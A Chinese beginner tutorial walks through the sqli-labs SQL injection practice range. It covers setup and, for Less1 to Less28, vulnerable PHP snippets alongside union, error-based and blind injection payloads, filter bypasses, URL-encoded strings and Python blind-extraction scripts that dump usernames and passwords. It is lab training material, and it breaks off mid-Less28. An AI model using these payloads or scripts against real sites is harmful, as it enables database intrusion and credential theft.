前言
刚接触网络安全,一听到 “SQL 注入” 就头大?看着别人在靶场里轻松操作,自己却连入门门径都摸不到?别慌!这篇文章专为新手小白打造,以 Sql-labs 注入靶场为核心,用超简单的语言拆解原理,手把手教你从 0 开始尝试 —— 看完就能上手练,让你也能体验到找到漏洞的成就感!
1 SQL 注入基础(靶场内容从章节 2 开始)
1.1 常用函数
查询语句
/* 查库 */
select schema_name from information_schema.schemata
/* 查表(此处拿security库为例)*/
select table_name from information_schema.tables where table_schema='security'
/* 查字段(此处拿users表例)*/
select column_name from information_schema.columns where table_name='users'
/* 查字段的值(此处拿username,password字段为例)*/
select username,password from security.users
/* group_concat() 当字段多个值,将结果拼接在一行*/
/* 查数据库*/
select group_concat(schema_name) from information_schema.schemata
/* 查 security 库的所有表*/
select group_concat(table_name) from information_schema.tables where table_schema="security"
/* 查 users 表的所有字段*/
select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
常用函数
/*
UNION 用于合并两个或多个 SELECT 语句的结果集
1、UNION 结果集中的列名总是等于第一个 SELECT 语句中的列名;
2、UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同.
*/
/* users有3列,union后的select也是3列 */
group_concat(password,'=',username),3) SELECT * FROM users WHERE id=1 union seLect 1,group_concat(password,'=',username),3 from users where 1=1
/* concat:将多个字符串连接成一个字符串 */
SELECT CONCAT(name, age) FROM `user`
/*
zhangsan19
Jone18
Jack20
Tom28
Sandy21
Billie24
*/
/* group_concat:用于将GROUP BY产生的同一个分组中的值连接起来,返回一个字符串结果 */
SELECT GROUP_CONCAT(name) FROM `user`
/* zhangsan,Jone,Jack,Tom,Sandy,Billie */
SELECT GROUP_CONCAT(name, age) FROM `user`
/* zhangsan19,Jone18,Jack20,Tom28,Sandy21,Billie24 */
/* CONCAT_WS(separator,string1,string2,...) */
SELECT CONCAT_WS('=','name','pwd');
/* name=pwd */
/*
ascii() 函数,返回字符ascii码值
参数 : str单字符
*/
SELECT ascii('a')
/* 97 */
/*
length() 函数,返回字符串的长度
参数 : str 字符串
*/
SELECT length(DATABASE())
/* 12 */
/*
left() 函数,返回从左至右截取固定长度的字符串
参数str,length截取长度
*/
SELECT left(DATABASE(), 3)
/* mys */
/*
substr()/substring() 函数返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
*/
SELECT substr(DATABASE(), 1, 3)
/* mys */
1.2 报错注入
/* extractvalue
第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串)。
返回结果限制在32位字符
第二个参数的位置格式为 /xxx/xx ,写入其他格式会报错,并返回写入的非法格式内容,而
这个非法的内容就是我们想要查询的内容。
*/
SELECT * FROM `users` WHERE id=1 and extractvalue(1, CONCAT(1, database()))
/* 输出: 1105 - XPATH syntax error: 'security' */
/* updatexml
第一个参数: XML_document是String格式,为XML文档对象的名称
第二个参数: XPath_string (Xpath格式的字符串)
第三个参数: new_value,String格式,替换查找到的符合条件的数据。
在第二个参数的位置输入不符合输入规则的sql语句产生报错,并执行了产生报错的sql语句。
*/
SELECT * FROM `users` WHERE id=1 and updatexml(1, CONCAT(1, database()),1)
/* 输出: 1105 - XPATH syntax error: 'security' */
/* 示例:查询当前使用的数据库中的所有表名 */
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --
/* 查询users表的列名(注意where后面要同时过滤数据库和表)*/
1' and updatexml(1,concat('=',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) --
/* 查询users表中的数据 */
1' and updatexml(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users) as a)),1) --
/* 查询部分(页面显示长度限制时使用)*/
1' and updatexml(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users limit 0,1) as a)),1) --
1.3 时间盲注
攻击者根据SQL语句执行的时间长短来判断注入语句是否执行成功。
/* bechmark */
/* 在MySQL中,bechmark()函数的作用是可以使同一个函数执行若干次,从而数据库执行的时间变长。*/
SELECT BENCHMARK(100000000,(1=1));
/*
> OK
> 时间: 6.88s
*/
/* 判断查找的信息是否存在(表名、列名、字段名等),可以从是否有延时来验证数据库中是否有我们要查找的信息 */
SELECT BENCHMARK(100000000,(SELECT username FROM `users` LIMIT 0,1));
/*
> OK
> 时间: 1.665s
*/
/* sleep */
/* 数据库名称的长度大于1,则休眠五秒,否则返回1 */
SELECT * FROM `users` WHERE id = 1 AND IF (length(DATABASE()) > 1, sleep(5), 1);
/*
> OK
> 时间: 5.006s
*/
1.4 布尔盲注
适用于页面没有回显字段(不支持联合查询),且 web 页面返回 True 或者 False 的相关提升,能够确认命令是否执行成功。
盲注流程
/*
求当前数据库长度
求当前数据库表的ASCII
求当前数据库中表的个数
求当前数据库中其中一个表名的长度
求当前数据库中其中一个表名的ASCII
求列名的数量
求列名的长度
求列名的ASCII
求字段的数量
求字段内容的长度
求字段内容对应的ASCII
*/
参考盲注 python 脚本:
# GET请求
import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://127.0.0.1/sqli-labs/Less-5/"
# 猜解长度使用的payload
payload_len =
"""
?id=1' and length((select group_concat (user,password) from mysql.user)) < {n} -- a
"""
# 枚举字符使用的payload
payload_str = """
?id=1' and ascii(substr((select group_concat(user,password) from mysql.user),{n},1)) = {r} -- a
"""
# 获取长度
def getLength(url, payload):
# 初始测试长度为1
length = 1
while True:
response = requests.get(url= url+payload_len.format(n=length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length)
return length;
else:
print('正在测试长度:',length)
# 测试长度递增
length += 1
# 获取字符
def getStr(url, payload, length):
# 初始表名/库名为空
str = ''
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n=l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
# POST请求
import requests
# 网站路径
url = "http://127.0.0.1/sqli-labs/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a
"""
# 枚举字符的payload
payload_str =
"""a') or ascii(substr((select group_concat(user,password) from mysql.user)
,{l},1))={n} -- a
"""
# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}
# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;
# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break
length = getLen(payload_len)
getStr(length)
2 环境搭建
2.1 Windows (Less1 - Less26 关卡)
- 靶场下载:https://github.com/Audi-1/sqli-labs
- 环境下载:https://www.xp.cn/download.html
- 将 sqli-labs 解压到 phpstudy\www 目录下。
- 修改路径 \WWW\sqli-labs\sql-connections 下的 db-creds.inc 文件。
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root'; // 添加密码
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
- 启动 phpstudy 使用 php 5.4x ,否则项目报错(数据库初始化会失败)。
- 启动 phpstudy 的 apache 和 mysql 服务(也可以用已安装的MySQL)。
- 浏览器访问: http://127.0.0.1/sqli-labs/ 。有基础、高级、堆叠、挑战共4个等级。
- 初始化数据库
- 打开题目:http://127.0.0.1/sqli-labs/less-1
2.2 Docker (Less26a - Less65 关卡)
由于 Windows 版本不支持双字符,因此后面的题目建议使用 Docker 搭建环境。
docker pull acgpiano/sqli-labs
# --rm表示stop后容器消失
docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 8081:80 acgpiano/sqli-labs
# 浏览器访问 ip:8081
# 查看docker靶场的数据库
docker exec -it sqli-labs bash
3 题目解析
每个Less列出关键源码片段和注入SQL语句。
- 解题过程中使用了浏览器的插件
HackBar
、sql 注入工具sqlmap
- 工具使用参考文章【SqlMap】新手 SqlMap 注入工具掌握这些就够了
Less1
关键源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入代码:引号注入
?id=1' and '1'='2
Less2
关键源码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入代码:数值注入
?id=1 or 1=1
Less3
关键源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
注入代码:同less1,需要闭合括号。
?id=111') or 1=1 -- -
Less4
关键源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
注入代码:注意闭合参数添加 "和 )。
?id=1") or 1=1 -- -
Less5
关键源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入代码:
?id=1' or 1=1 -- -
发现无回显,尝试使用 updatexml 函数报错注入,界面出现报错信息。
# 主要构造updatexml第二个参数
# 通过concat拼接0x7e(十六进制的~),使程序产生报错
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,':',password) from users),1))),1) -- -
使用 SqlMap :工具使用参考文章【SqlMap】新手 SqlMap 注入工具掌握这些就够了
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-5?id=1" --level 5 -risk 3 -dbs
Less6
关键源码:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入代码:同less5,修改闭合符号为 "。
?id=1" and updatexml(1,concat(0x7e,(substr((select roup_concat(username,':',password) from users),1))),1) -- -
Less7
关键源码:
//print_r(mysql_error());
...
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
注入代码:
经过注入尝试,发现页面只显示2种情况,因此可以使用布尔盲注。
?id=1')) AND length(DATABASE()) = 7 -- - # You have an error in your SQL syntax
?id=1')) AND length(DATABASE()) = 8 -- - # You are in.... Use outfile.....
Less8
关键源码:注释了页面打印错误,依然属于布尔注入。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
注入代码:
?id=1' and length(database()) = 8 -- -
Less9
关键源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入代码:同less8,但是此题只有1个回显,因此使用时间盲注。
?id=1' AND IF (length(DATABASE()) > 1, sleep(5), 1) -- -
Less10
关键源码:报错被注释掉,只能使用时间注入。
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
...
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
注入代码:
?id=1" AND IF (length(DATABASE()) > 1, sleep(5), 1) -- -
Less11
关键源码:2个字段存在注入,可以联合查询或者报错注入。
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
...
print_r(mysql_error());
注入代码:
# 1、使用admin/admin登录
# 2、抓包查看请求参数:uname=admin&passwd=admin&submit=Submit
使用 burpsuite 工具修改参数值页面返回报错,因此可以通过页面回显获取数据库信息。
# 判断字段个数
uname=a' order by 2 -- -&passwd=admin&submit=Submit #页面无语法报错
uname=a' order by 3 -- -&passwd=admin&submit=Submit #页面有语法报错
# 判断字段的回显位置(可略过)
uname=ad' union select 1,2 -- -&passwd=admin&submit=Submit #页面无语法报错
uname=ad' union select 1,2,3 -- -&passwd=admin&submit=Submit #页面有语法报
# 获取用户名和数据库
uname=ad' union select user(),database()#&passwd=admin&submit=Submit
# 获取security数据库下的表
uname=ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=admin&submit=Submit
# 获取users表下的所有字段
uname=ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=admin&submit=Submit
# 查看username和password字段的值
uname=ad' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit
Less12
关键源码:注意闭合使用:")
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
注入代码:
uname=") union select group_concat(username),group_concat(password) from users # &passwd=admin&submit=Submit
Less13
关键源码:闭合 ')'后绕过。
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
...
if($row)
注入代码:
uname=') or 1=1 # &passwd=&submit=
Less14
关键源码:与less13相比,闭合符号不同。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
...
print_r(mysql_error());
注入代码:
uname=a" or 1=1 # &passwd=admin&submit=Submit
Less15
关键源码:不显示报错信息,输入正确返回固定图片,因此建议使用盲注。
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
echo '<img src="../images/flag.jpg"/>';
...
//print_r(mysql_error());
注入代码:
# 判断数据库长度
uname=admin' AND length(DATABASE()) = 8 # &passwd=admin&submit=Submit
# 判断数据库名
uname=admin' AND substr(DATABASE(),1,1) = 's' # &passwd=admin&submit=Submit
...
Less16
关键源码:与less15相比,改变了闭合符号,依然使用盲注。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
注入代码:
uname=admin") AND substr(DATABASE(),1,1) = 's' # &passwd=admin&submit=Submit
Less17
关键源码:注入点在 passwd参数,使用报错注入。
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row) {
//echo '<font color="#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error()) {
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
} else {
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg"/>';
//echo 'Your Password:' .$row['password'];
echo "</font>";
注入代码:
# 获取数据库所有表
uname=admin&passwd=a' and updatexml(1,CONCAT(1,database()),1) -- a&submit=Submit
# 获取users表所有字段名
uname=admin&passwd=1' and updatexml(1,concat('=',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) -- &submit=Submit
# 获取用户名密码
uname=admin&passwd=1' and updatexml(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users limit 0,1) as a)),1) -- &submit=Submit
# 部分获取,页面显示内容有限
uname=admin&passwd=1' and updatexml(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users limit 1,1) as a)),1) -- &submit=Submit
Less18
关键源码:check_input
函数对表单进行了防注入,注入点在请求头的 User-Agent参数,在 insert 语句中使用报错注入。
function check_input($value)
...
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
//take the variables
if(isset($_POST['uname']) && isset($_POST['passwd'])) {
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1) {
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
...
print_r(mysql_error()); else {
..
print_r(mysql_error());
..
}
注入代码:
# 爆表名
1'and updatexml(1,concat('!',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and '
# 查users表字段
User-Agent: 1' and updatexml(1,concat('=',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) and '
# 爆用户数据
1' and updatexml(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users limit 0,1) as a)),1) and '
Less19
关键源码:本题注入点在uagent
参数,即Referer
的值,使用报错注入。
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
...
if(isset($_POST['uname']) && isset($_POST['passwd'])) {
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
...
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1) {
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
...
print_r(mysql_error());
...
} else {
...
print_r(mysql_error());
...
}
}
注入代码:
# 爆表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and '
# 爆字段
1' and updatexml(1,concat('=',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) and '
# 爆内容
1' and updatexml(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users limit 0,1) as a)),1) and '
# 爆内容2
1' and extractvalue(1,concat('>',(select group_concat(username,'=',password) from (select username,password from users limit 0,1) as a))) and '
Less20
关键源码:注入点在cookie
的uname
值,报错注入。
if(!isset($_POST['submit'])) {
$cookee = $_COOKIE['uname'];
...
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result) {
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
...
} else {
...
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
...
}
注入代码:
# 爆表
admin' and updatexml(1,concat('=',(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) #
# 爆字段
admin' and updatexml(1,concat('=',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0) #
# 爆内容
admin' and updatexml(1,concat('=',(select group_concat(username,'=',password) from (select username,password from users) as a)),0) #
Less21
关键源码:将cookie
的uname
进行的base64解码,用单引号闭合查询。
$cookee = $_COOKIE['uname'];
...
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
注入代码:对cookie
的uname
参数值进行构造,完成注入。
# 构造
1') union select 1,2,group_concat(username,'=',password) from users#
# base64编码
MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCc9JyxwYXNzd29yZCkgZnJvbSB1c2VycyAj
Less22
关键源码:与Less21类似,闭合符合是双引号。
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
...
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
注入代码:
# 构造
1" union select 1,2,group_concat(username,'=',password) from users#
# base64编码
MSIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsJz0nLHBhc3N3b3JkKSBmcm9tIHVzZXJzICM=
Less23
关键源码:字符注入,单引号闭合,过滤了字符#
,--
。
// take the variables
if(isset($_GET['id'])) {
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
注入代码:结尾构造 or ‘1’='1 闭合后面的单引号。
# 方法1:构造
1' and updatexml(1,concat('=',(select group_concat(username,'=',password) from (select username,password from users) as a)),0) or '1'='1
# url编码
%31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%27%3d%27%2c%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%27%3d%27%2c%70%61%73%73%77%6f%72%64%29%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%75%73%65%72%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%20%66%72%6f%6d%20%75%73%65%72%73%29%20%61%73%20%61%29%29%2c%30%29%20%6f%72%20%27%31%27%3d%27%31
# 方法2:构造
a' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'= '
# url编码
%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%70%61%73%73%77%6f%72%64%29%20%66%72%6f%6d%20%75%73%65%72%73%20%77%68%65%72%65%20%31%20%6f%72%20%27%31%27%3d%20%27
Less24
关键源码:注入点在修改密码的用户名字段,采用堆叠注入。先注册,再修改密码。
$sql = "UPDATE users SET PASSWORD='$pass' where
username='$username' and password='$curr_pass' ";
注入代码:
- 注册用户 admin’#
- 修改密码为123
- 使用admin’# 123登录
- 使用admin 123重新登录,登录成功。
Less25
关键源码:使用黑名单过滤了and
和or
。
$id= blacklist($id);
...
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (noncase sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND(non case sensitive)
return $id;
}
注入代码:使用双写绕过。
a' union select 1,group_concat(username),group_concat(passwoorrd) from users -- -
# url编码
%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%70%61%73%73%77%6f%6f%72%72%64%29%20%66%72%6f%6d%20%75%73%65%72%73%20%2d%2d%20%2d
Less25a
关键源码:过滤or
和and
,数值型注入,盲注。
$id=$_GET['id'];
...
$id= blacklist($id);
...
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
...
if($row) {
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
} else {
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
...
function blacklist($id) {
$id= preg_replace('/or/i',"", $id);
//strip out OR (noncase sensitive)
$id= preg_replace('/AND/i',"", $id);
//Strip out AND(non case sensitive)
return $id;
}
注入代码:使用||
绕过and
# 盲注(例:判断数据库名称,成功返回1,否则休眠)
1 || if(length(database())=1,1,sleep(1)) #
...
1 || if(length(database())=8,1,sleep(1)) #
# 转换为url
%31%20%7c%7c%20%69%66%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3d%38%2c%31%2c%73%6c%65%65%70%28%31%29%29%20%23
Less26
关键源码:过滤and
、or
、空格和注释符。
$id= blacklist($id);
...
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
...
function blacklist($id) {
$id= preg_replace('/or/i',"", $id);
//strip out OR (non
case sensitive)
$id= preg_replace('/and/i',"", $id);
//Strip out AND
(non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);
//strip out /*
$id= preg_replace('/[--]/',"", $id);
//Strip out --
$id= preg_replace('/[#]/',"", $id);
//Strip out #
$id= preg_replace('/[\s]/',"", $id);
//Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);
//Strip out slashes
return $id;
}
...
if($row) {
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
} else {
print_r(mysql_error());
}
注入代码:使用||
符合绕过and
、or
,通过报错注入绕过注释符。
/*
1.使用||替代or、and
2.使用concat_ws拼接多个参数内容,防止写空格
3.使用group_concat拼接结果
4.使用小括号避免空格过滤后sql语句失效
5.password使用双写绕过passwoorrd
*/
1' || updatexml(1,concat('>',(SELECT(group_concat(concat_ws('=',username,passwoorrd))) FROM (users) WHERE (id = 1))),1) || '1'='1
# url编码
%31%27%20%7c%7c%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%27%3e%27%2c%28%53%45%4c%45%43%54%28%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6e%63%61%74%5f%77%73%28%27%3d%27%2c%75%73%65%72%6e%61%6d%65%2c%70%61%73%73%77%6f%6f%72%72%64%29%29%29%20%46%52%4f%4d%20%28%75%73%65%72%73%29%20%57%48%45%52%45%20%28%69%64%20%3d%20%31%29%29%29%2c%31%29%20%7c%7c%20%27%31%27%3d%27%31
Less26a
关键源码:不打印错误信息,比 Less-26 多了闭合符号。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
...
//print_r(mysql_error());
...
function blacklist($id) {
$id= preg_replace('/or/i',"", $id);
//strip out OR (non
case sensitive)
$id= preg_replace('/and/i',"", $id);
//Strip out AND
(non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id);
//strip out /*
$id= preg_replace('/[--]/',"", $id);
//Strip out --
$id= preg_replace('/[#]/',"", $id);
//Strip out #
$id= preg_replace('/[\s]/',"", $id);
//Strip out spaces
$id= preg_replace('/[\s]/',"", $id);
//Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id);
//Strip out slashes
return $id;
}
注入代码:使用%0b
绕过空格,union
,group_concat
拼接结果。
# 原sql
id=0') union select 1,group_concat(passwoorrd,'=',username),3 from
users where 1=('1
# 使用%0b绕过
id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,'=',username),3%0bfrom%0busers%0bwhere%0b1=('1
Less27
关键源码:多了过滤select
和union
。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
...
print_r(mysql_error());
...
function blacklist($id) {
$id= preg_replace('/[\/\*]/',"", $id);
//strip out /*
$id= preg_replace('/[--]/',"", $id);
//Strip out --.
$id= preg_replace('/[#]/',"", $id);
//Strip out #.
$id= preg_replace('/[ +]/',"", $id);
//Strip out spaces.
$id= preg_replace('/select/m',"", $id);
//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);
//Strip out spaces.
$id= preg_replace('/union/s',"", $id);
//Strip out union
$id= preg_replace('/select/s',"", $id);
//Strip out select
$id= preg_replace('/UNION/s',"", $id);
//Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);
//Strip out SELECT
$id= preg_replace('/Union/s',"", $id);
//Strip out Union
$id= preg_replace('/Select/s',"", $id);
//Strip out select
return $id;
}
注入代码:此处union
可以双写绕过,select
不行;select
通过变换大小写绕过。
#原sql
id=0' union select 1,group_concat(password,'=',username),3 from users where 1='1
# 使用%0填充空格,双写union,select变化大小写
id=0'%0buunionnion%0bsELect%0b1,group_concat(password,'=',username),3%0bfrom%0busers%0bwhere%0b1='1
Less27a
关键源码:
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//print_r(mysql_error());
function blacklist($id) {
$id= preg_replace('/[\/\*]/',"", $id);
//strip out /*
$id= preg_replace('/[--]/',"", $id);
//Strip out --.
$id= preg_replace('/[#]/',"", $id);
//Strip out #.
$id= preg_replace('/[ +]/',"", $id);
//Strip out spaces.
$id= preg_replace('/select/m',"", $id);
//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);
//Strip out spaces.
$id= preg_replace('/union/s',"", $id);
//Strip out union
$id= preg_replace('/select/s',"", $id);
//Strip out select
$id= preg_replace('/UNION/s',"", $id);
//Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);
//Strip out SELECT
$id= preg_replace('/Union/s',"", $id);
//Strip out Union
$id= preg_replace('/Select/s',"", $id);
//Strip out Select
return $id;
}
注入代码:
# 原sql
id=0" union select 1,group_concat(password,'=',username),3 from users where 1="1
# 添加"闭合,双写union,select变化大小写
id=0"%0buunionnion%0bsELect%0b1,group_concat(password,'=',username),3%0bfrom%0busers%0bwhere%0b1="1
Less28
关键源码:注意闭合符号,将union
和select
的组合一起过滤。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
...
//print_r(mysql_error());
...
function blacklist($id) {
$id= preg_replace('/[\/\*]/',"", $id);
//strip out /*
$id= preg_replace('/[--]/',"", $id);
//Strip out --.
$id= preg_replace('/[#]/',"", $id);
//Strip out #.
$id= preg_replace('/[ +]/',"", $id);
//Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);
//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);
//Strip out UNION & SELECT.
return $id;
}
注入代码:
# 原sql
id=0') union select 1,group_concat(password,'=',username),3 from users where 1=('1
# 添加’)闭合,select变化大小写
